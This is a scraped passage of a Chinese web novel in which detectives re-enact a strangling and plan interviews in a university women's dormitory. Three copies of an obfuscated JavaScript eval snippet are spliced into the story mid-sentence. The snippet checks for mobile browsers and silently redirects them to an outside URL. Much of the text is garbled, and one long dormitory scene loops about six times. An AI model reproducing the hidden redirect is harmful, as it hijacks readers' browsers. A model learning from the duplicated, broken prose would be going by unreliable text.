楚隽将手放在桌上。 掰手腕? 楚隽道:“试一试?” 刑警队里只有安暖一个女性。 安暖年轻身体健康不是娇滴滴的小姐。但也没有经过特殊训练这些日子早上跟楚隽锻炼但时间还短未见成效。 可以说安暖就是一个非常合格的普通人的身体素质。 一个非常合格的普通人的力气。 楚隽是受过专业训练常年保持锻炼的力气比普通人要大应该也比死者要大但人在死亡威胁的时候是会爆发的。 既然楚隽说试那就试。 安暖卷了袖子豪气干云:“来。” 可怜了。 楚隽的隔壁就竖着放在桌上安暖一只手根本掰不动又加了一只手也根本掰不动。 用上了吃奶的力气脸都涨红了恨不得身体的重量都要压上去。 楚隽纹丝不动。 “不行。”安暖气喘吁吁放弃了:“我简直是自取其辱。” 旁人看着都想笑。 确实有那么一点这力量相差太悬殊了。 江笑愚说:“小安你注意点胳膊别扭着了。” “这样确实不行。”楚隽说:“还原现场试一下。” 现场有工具。 从死者伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570974|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口判断工具是一根粗麻绳。 正常的一对情侣谈恋爱是不会有人带着麻绳这种逆天的东西的。 这是一场有计划的**。 还原现场是一种非常直观的推理方式可以让人身临其境。 人有时候是要到了某一步才能想出下一步是不能凭空想象的。要到了那个氛围和环境中才会豁然开朗。 楚隽想知道在昨晚上那种情况下凶手是一个什么状态。 如果一个普通力气的女生可以做到那么嫌疑人的范围就会扩大。 如果必须是力气非常大的人那这个范围就小了。 男性或者力气极大的女性。 卢瑞泽找来一根粗麻绳。 这是根据死者伤口推断出来的凶器。 但 是安暖看了看说:“不行,这太危险了,会出事儿的。” 楚隽倒是不在意。 “没事儿,你放手来。”楚隽坐在椅子上,身体往后靠,两手搭在椅背上:“就你的力气,不会出事的。” 安暖摸了摸麻绳,非常粗糙。 这种麻绳勒在脖子上,一定会磨破皮肤。现场还原也不必这么真实,安暖还是会心疼人的。 “没有这个必要。”安暖说:“你相信我,我是专业的。我这么说,是基于对尸体伤口的判断,不是因为个人感情担心。从死者颈部的伤痕看,致死的原因和麻绳无关,麻绳的粗糙只是带来外皮的轻微损伤,在生死关头挣扎的时候,那一点破皮的伤口不会给人任何阻碍。” 如果安暖说,我舍不得,其实大家也能理解。 可安暖说,我是专业的。 她一点玩笑的意思都没有。 安暖抬手解下了自己的腰带。 今天她的衬衫上,有一根装饰的飘带,在腰上系了一个蝴蝶结。这是一根柔软的绸带,没有什么实用性,就是好看。 “用这个就行。”安暖说:“楚队,来吧。” 楚隽接过绸带看了看,说:“行。” 他将绸带还给安暖:“开始吧。” 第187章 校园鬼影,不如板砖 安暖用手绷了绷绸带,心里顿时蹦出许多不可描述的词汇,闪过许多这样那样的画面。 就算是一个好人,谁心里没有点阴暗角落呢。 何况战损美,也是真的美。 真是要了命了。 可惜现在不是欣赏的好时候,这事情要从长计议,先做正事。 卢瑞泽站在一旁看着,虽然说这事情是个正经事情,但是当安暖手上的绸带缠住楚隽脖子的时候,他还是在心里忍不住想到一个词。 **亲夫啊。 好在他不敢说出来,不然肯定会被男女混合双打的。 安暖用绸带绕过楚隽的脖子,还贴心的整理齐了。 “这样行不行? 她微微用力。 “可以。楚隽完全没有用力,让自己处在一个最放松的状态。 如果凶手是个姑娘,想要得手,必然要出其不意。 其实用绳子勒脖子,除非是势均力敌。在力量不足的情况下,不是一个好办法,对方是非常容易反杀的。就算是手也被止住,就是用身体的力量硬挣扎,也控制不住。 真想万无一失,最好的办法是在对方没有防备的时候,一板砖砸脑袋。 哪怕是力气比对方小,可是板砖比脑袋硬啊,只要第一下的时候狠的下心,下得了手,就能至少把对方拍懵。 然后接着多拍几下,绝对能把人脑浆拍出来。 而且砖头这种随处可见的东西,怎么都比还要准备的麻绳来的容易吧。好找又好丢,随便一丢,只要不沾血,就是被人看见也不会怀疑这就是凶器,连处理都不必处理。 安暖并不着急动手,而是将绸带绕在手上之后,伸手抚上楚隽的脸。 顿时大家都睁大了眼睛。 这是赤裸裸的调戏啊。 但情景还原吗,就要尽量真实地还原,他们目前的推测,当时就应该是这样的场景。 楚隽不动声色,也不动。 安暖凑过去,凑在楚隽耳边说:“那我来了。 就这一瞬间,安暖的手猛地发力,楚隽只觉得脖子上一痛,猛地往后一仰。 但他立刻就反手抓住了安暖的胳膊,条件反射就想发力,硬生生地忍了下来。 这细胳膊,稍微用点力,也不知道是不是会被弄断了。 虽然安暖的力气一般一般,但脖子毕竟是人最脆弱的地方之一。 绸带在安暖手里绷直,她也没有留力,楚隽仰着脖子,脸上通红,呼吸也有些急促,但 没有乱了分寸,这种情况僵持了不过十来秒,楚隽一把抓住绸带,硬生生地拽开了。 安暖虽然用上了九牛二虎之力,也没办法和楚隽的力气抗衡一点。 被拽的猛地往前一扑,整个人都趴在了楚隽背上。 卢瑞泽忍不住哈哈笑了,不过笑了两下就被楚隽瞪了一眼,捂住了嘴。 安暖下巴撞在楚隽肩膀上,硬邦邦的,也不知道是骨头硬,还是肉硬。 “不行。”楚隽说:“一般姑娘的力气,完全不可能控制住一个成年男子,意乱情迷地偷袭也不行。就算开始有点懵,反应过来完全可以瞬间脱困,可根本到不了拼命挣扎的地步。” 凶手,要么是个男人,要么,是一个力气远远大于普通女子的女子。 有一定的特殊性。 比如体育系的女学生,或者是练过功夫的练家子,力气要比寻常**一些。 安暖坐在一边甩手。 刚才用力过猛,手腕有点痛。 男女的力气差的真不是一星半点,以后要是跟楚隽有仇,可不能用这么蠢的办法,要智取才行。 正在讨论,电话进来了。 楚隽虽然回来了,但还留了一部分人在学校周边,调查死者的身份。 幸亏这个环节十分顺利。 既然尸体是在学校里发现的,便首先进行校内调查。 学生,老师,其他职工人员,拿着死者照片一一问过去。 没想到那么顺利。 楚隽道:“有人认出了死者,虽然不知道身份,但是死者并非第一次进入清大校园。这人是清大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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调查女生寝室,其实是刑警队不愿意做的事情之一。 不但要一个寝室一个寝室地查过去,还要注意影响。 不仅是他们单位,其他单位也是一样。不仅是刑警队,就是**也是一样。女警的数量都是相对较少的,而一群女大学生,又需要特别注意。 他们宁可去调查男生宿舍,真急了眼还能拍拍桌子。 第188章 校园鬼影,女生寝室 众人等着楚隽安排,楚隽的脸色也不太好。 安暖左看右看,总觉得有点故事。 她躲在一边,偷偷摸摸地问卢瑞泽。 “卢哥,我看楚队那个表情,难道曾经吃过亏?” 之前听楚隽说,以前没谈过恋爱啊。难道是骗了自己,其实有一段刻苦铭心的过去,伤害他的,还是女大学生? 卢瑞泽竟然轻轻的点了点头。 点完头,见大家没注意他们,又低声道:“老大曾经被一所大学请去,给学生教擒拿。本来要教半个月的,结果一个星期收了一堆情书,吓得半路就跑了,回来差一点写检查。” 安暖一点儿也不奇怪。 果然什么年代的大学生都是最热情的,楚隽这么优质的刑警,简直自带浑身叠满的buf,不招人喜欢就怪了。 局里派他出去,估计也是觉得他长得好,能代表警局的形象,没想到形象太好,物极必反了。 楚隽又不是招蜂惹蝶的性子,但有些人站在那里,本身就是一种勾引。 “理解理解,谁叫他长得那么好看呢。”安暖说:“长得好看的人,是不配和芸芸众生平起平坐的。” 卢瑞泽琢磨了一下安暖这话,一时也不知道她是在骂楚隽,还是在夸楚隽。 但是我们聪明的小卢同志决定不发表评价,夸也就算了,他还能跟着拍拍老大的马屁。万一安暖是在骂楚隽呢? 这就是小夫妻耍花枪,他才不要凑这个热闹。 于是这个话题就到此为止了。 楚隽虽然有一点心理阴影,但也不能因此退缩,该做的事情还是要做的。 “大家抓紧时间,我们要再去一趟学校。”楚隽说:“分成三组,我带一组,江副队带一组,卢瑞泽带一组。一个寝室一个寝室地问。每一组会安排一名学校女老师,一名女警。大家问话的时候一定要注意分寸,该问的问,不该问的不要乱问。” 破案重要,影响也很重要。 众人想想被一群女学生包围的情形,都觉得头皮发麻。 不敢幸福,不敢快乐,不敢有期待。 在女生寝室里,他们坐着都是脊背笔直,正襟危坐的。 楚隽从局里找了两名女警,便一起去了学校。他们这一组,就不用别人了,有安暖在就行。 一群男警察,进女生宿舍楼总是不好,楚隽本来的安排是,让老师拿着花名册,一个寝室一个寝室的将人叫到办公室里问话。 毕竟只是学生,在他们看来,还 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570976|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 “暖暖。”楚隽拍了拍安暖的肩:“你要是想上大学,我是支持你的。随时都可以。” 社会人士也可以参加高考的,只要考上,楚隽可以一直支持她往上读。 “不用,我真的不想上学。”安暖摇了摇头:“我只是在想,庄致轩……他是物理老师,牵扯在这件事情中,虽然目前只是有嫌疑。但我们是不是可以先查这个住宿楼里,和庄致轩有来往的学生。” 不是每个专业的学生,都会和物理老师有接触的。 她不知道庄致轩在这件事情里到底是完全无辜,还是扮演了一个什么角色。但是理性的分析,在宿舍楼里住了几百号人的时候,如果能有一个轻重取舍,会事半功倍。 而他们现在唯一的线索,就是庄致轩。 “你说得对。”楚隽道:“我去和老师说一下。” 商量之后,进了宿舍。 女生宿舍正常是不允许男生进入的,所以大家在里面就自由一些。 现在虽然不是夏天,但也不冷,女同学们在私密空间里,有时候会穿少一些,自在一些。 为了避免影响不好,宿管先喊了一遍,让大家不要乱窜,穿好衣服,注意配合。 一楼开始,安暖跟着进了一零二寝室。 时隔多年,她很久没进大学寝室了。 这个年代,就算是最高等的学府,寝室也还是比较简陋拥挤的。 三号楼有六人间和八人间,一楼二楼是八人间,靠墙两排上下铺,中间是桌椅。 书香味倒是很浓。 八个学生整整齐齐,坐在下铺的位置上,看见老师带人进来,一起抬头看他们。 今天过来,为了显得正式,难得的楚隽让大家都换上了警服。 刑警队一般出任务不太穿制服,很多时候要隐藏身份,制服太扎眼,容易让**起疑心有准备。 但今天不一样,今天务必穿的让人一眼看去,就非常严肃。 安暖来这个年代也有快一个月了,但是没见楚隽穿过几回正装,也是难得欣赏一回。只觉得男人嘛,制服果然是增加美貌值的东西。 有一种,越严肃,越禁欲,越撩拨的感觉。 最近脑子里废料有点多,安暖经常偷偷摸摸的鄙视自己。 “同学们不要紧张。”老师说:“这几位警察同志,要问大家一些问题。你们只要如实回答就行。” 是半大孩子呢。就算是有什么想要隐瞒的,嘴里不说,表情眼神中,可能也是藏不住的。 但安暖意见不同。 “最好还是进寝室里看一看。”安暖说:“死者既然是校外人,而且,从衣着上看,有一定的经济实力。他如果交女朋友,或者是追求某女生,一定会送礼。送的礼物档次不会太低,寝室里,说不定也有线索。” 给女生送礼,一般也就是那些东西。 花儿,化妆品,衣服,首饰,日用品。 一个人身上突然有一件,或者几件和本来档次不一样,习惯不一样的东西,是能代表一些事情的。 比如安暖。 之前一身衣服加在一起不超过五十块钱,但是戴着个两万的手表。 识货的人只要一眼,就知道有故事。 进女生寝室,这又不一样了。 学校安排了几名女老师过来陪同。 他们到学校的时候,已经是下课的时间,寝室里的人都在,老师提前都打了招呼,今天不允许外出。 安暖站在宿舍楼前,看着一个一个窗台上挂出来的衣服,来来往往洋溢着青春气息的大学生,叹了口气。 楚隽只当她是羡慕了,所以心生感慨。 